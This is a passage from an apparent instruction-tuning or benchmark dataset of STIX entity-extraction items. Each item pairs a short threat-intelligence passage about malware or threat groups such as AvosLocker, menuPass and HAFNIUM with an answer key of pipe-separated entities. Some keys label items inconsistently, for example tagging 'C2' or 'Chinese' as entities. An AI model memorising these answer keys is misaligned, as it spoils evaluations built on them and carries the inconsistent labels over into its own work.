can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAvosLocker is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, AvosLocker had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.\n",
    "output": "<entities>AvosLocker|C++|United States|Belgium|Canada|China|Germany|Saudi Arabia|Spain|Syria|Taiwan|Turkey|United Arab Emirates|United Kingdom</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEcipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RAT, SodaMaster, and FYAnti.\n",
    "output": "<entities>Ecipekac|menuPass|P8RAT|SodaMaster|FYAnti</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBendyBear is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, BendyBear shares a variety of features with Waterbear, malware previously attributed to the Chinese cyber espionage group BlackTech.\n",
    "output": "<entities>BendyBear|Waterbear|BlackTech|C2|Chinese</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSpyDealer is Android malware that exfiltrates sensitive data from Android devices.\n",
    "output": "<entities>Android|SpyDealer</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMobileOrder has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.\n",
    "output": "<entities>C2|MobileOrder</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\ngh0st RAT has used the InterlockedExchange, SeShutdownPrivilege, and ExitWindowsEx Windows API functions.\n",
    "output": "<entities>gh0st RAT|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nValak has returned C2 data as encoded ASCII.\n",
    "output": "<entities>Valak|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEmpire can perform port scans from an infected host.\n",
    "output": "<entities>Empire</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPinchDuke searches for files created within a certain timeframe and whose file extension matches a predefined list.\n",
    "output": "<entities>PinchDuke</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMoafee has been known to employ binary padding.\n",
    "output": "<entities>Moafee</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBackConfig has been signed with self signed digital certificates mimicking a legitimate software company.\n",
    "output": "<entities>BackConfig</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nExaramel for Linux has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.\n",
    "output": "<entities>Exaramel|Linux|systemd</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nInvisiMole can register a Windows service named CsPower as part of its execution chain, and a Windows service named clr_optimization_v2.0.51527_X86 to achieve persistence.\n",
    "output": "<entities>InvisiMole|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOkrum is a Windows backdoor that has been seen in use since December 2016 with strong links to Ke3chang.\n",
    "output": "<entities>Okrum|Ke3chang|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHAFNIUM has used ASCII encoding for C2 traffic.\n",
    "output": "<entities>HAFNIUM|C2</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\neSurv is mobile surveillanceware designed for the lawful intercept market that was developed over the course of many years.\n",
    "output": "<entities>eSurv</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFLASHFLOOD achieves persistence by making an entry in the Registry's Run key.\n",
    "output": "<entities>FLASHFLOOD</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFinal1stspy is a dropper family that has been used to deliver DOGCALL.\n",
    "output": "<entities>DOGCALL|Final1stspy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
